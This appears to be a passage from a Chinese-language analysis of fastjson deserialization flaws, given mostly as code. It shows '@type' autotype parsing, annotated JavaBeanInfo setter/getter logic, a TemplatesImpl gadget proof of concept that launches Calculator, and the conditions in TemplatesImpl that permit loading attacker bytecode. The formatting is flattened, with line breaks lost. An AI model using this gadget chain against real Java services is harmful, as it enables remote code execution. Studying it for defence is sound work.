public class main {public static void main(String[] args) {User guestUser = new User();guestUser.setId(2L);guestUser.setName("guest");// fastjson提供toJsonString接口实现序列化// fastjson提供parseObject来分别实现反序列化// 序列化示例String jsonString = JSON.toJSONString(guestUser);System.out.println("序列化数据="+jsonString);...}}

String parseString = "{\"@type\":\"User\",\"id\":2,\"name\":\"guest\"}";System.out.println("parse方法的调用结果");Object ob11 = JSON.parse(parseString);System.out.println("ob11="+ob11);System.out.println("----------------------");System.out.println("parseObject方法的调用结果");Object ob12 = JSON.parseObject(parseString);System.out.println("ob12="+ob12);System.out.println("----------------------");System.out.println("parseObject(xx,class)方法的调用结果");Object ob13 = JSON.parseObject(parseString,User.class);System.out.println("ob13="+ob13);

// com/alibaba/fastjson/util/JavaBeanInfo.javapublic class JavaBeanInfo{public static JavaBeanInfo build(Class clazz, Type type, PropertyNamingStrategy propertyNamingStrategy) {/*** 判断set方法函数*/for (Method method : methods) { //int ordinal = 0, serialzeFeatures = 0, parserFeatures = 0;String methodName = method.getName();// 长度比4大if (methodName.length() < 4) {continue;}// 非静态方法if (Modifier.isStatic(method.getModifiers())) {continue;}// 返回类型不能是void或者当前类// support builder setif (!(method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) {continue;}Class[] types = method.getParameterTypes();// 不能有传入的参数if (types.length != 1) {continue;}// annotation = null，跳过JSONField annotation = method.getAnnotation(JSONField.class);if (annotation == null) {annotation = TypeUtils.getSuperMethodAnnotation(clazz, method);}if (annotation != null) {// ......略过}// 以set为开头if (!methodName.startsWith("set")) {continue;}char c3 = methodName.charAt(3);String propertyName;// 第4个字母大写if (Character.isUpperCase(c3) //|| c3 > 512 // for unicode method name) {if (TypeUtils.compatibleWithJavaBean) {propertyName = TypeUtils.decapitalize(methodName.substring(3));} else {propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);}} else if (c3 == '_') {propertyName = methodName.substring(4);} else if (c3 == 'f') {propertyName = methodName.substring(3);} else if (methodName.length() >= 5 && Character.isUpperCase(methodName.charAt(4))) {propertyName = TypeUtils.decapitalize(methodName.substring(3));} else {continue;}Field field = TypeUtils.getField(clazz, propertyName, declaredFields);if (field == null && types[0] == boolean.class) {String isFieldName = "is" + Character.toUpperCase(propertyName.charAt(0)) + propertyName.substring(1);field = TypeUtils.getField(clazz, isFieldName, declaredFields);}// filed = null，跳过JSONField fieldAnnotation = null;if (field != null) {// ......}// propertyNamingStrategy = null，跳过if (propertyNamingStrategy != null) {// ......}add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures, parserFeatures,annotation, fieldAnnotation, null));}/*** 判断get方法函数体：*/for (Method method : clazz.getMethods()) { // getter methodsString methodName = method.getName();// 长度不能小于4if (methodName.length() < 4) {continue;}// 不能是静态方法if (Modifier.isStatic(method.getModifiers())) {continue;}// 以get开头并且第4位是个大写字母if (methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3))) {// 不能有传入的参数if (method.getParameterTypes().length != 0) {continue;}// 返回值继承于Collection Map AtomicBoolean AtomicInteger AtomicLong之一if (Collection.class.isAssignableFrom(method.getReturnType()) //|| Map.class.isAssignableFrom(method.getReturnType()) //|| AtomicBoolean.class == method.getReturnType() //|| AtomicInteger.class == method.getReturnType() //|| AtomicLong.class == method.getReturnType() //) {// .........// 对get方法进行处理的函数，略过}

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class jdk7u21_nekoc {public static void main(String[] args) throws Exception {TemplatesImpl calc = (TemplatesImpl) Gadgets.createTemplatesImpl("/System/Applications/Calculator.app/Contents/MacOS/Calculator");calc.getOutputProperties();}}

public class TemplatesImpl {private Translet getTransletInstance()throws TransformerConfigurationException {try {// 第一个条件 _name不为nullif (_name == null) return null;
// 第二个条件 _class不为null，进到defineTransletClasses里if (_class == null) defineTransletClasses();// ......}}

private void defineTransletClasses()throws TransformerConfigurationException {
// 第三个条件：_bytecodes不为nullif (_bytecodes == null) {ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);throw new TransformerConfigurationException(err.toString());}
// 7u21TransletClassLoader loader = (TransletClassLoader)AccessController.doPrivileged(new PrivilegedAction() {public Object run() {// 这里应该是第四个条件，这里7u21和高版本的7u80有区别return new TransletClassLoader(ObjectFactory.findClassLoader());}});// 7u80TransletClassLoader loader = (TransletClassLoader)AccessController.doPrivileged(new PrivilegedAction() {public Object run() {// 这里就是第四个限制条件，_tfactory参数存在一个getExternalExtensionsMap方法return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());}});

try {final int classCount = _bytecodes.length;_class = new Class[classCount];
if (classCount > 1) {_auxClasses = new Hashtable();}
for (int i = 0; i < classCount; i++) {_class[i] = loader.defineClass(_bytecodes[i]);final Class superClass = _class[i].getSuperclass();
// Check if this is the main class// 第五个限制条件：_bytecodes必须是ABSTRACT_TRANSLET子类if (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;}else {_auxClasses.put(_class[i].getName(), _class[i]);}}
if (_transletIndex < 0) {ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);throw new TransformerConfigurationException(err.toString());}}catch(Exception e){//...}}}

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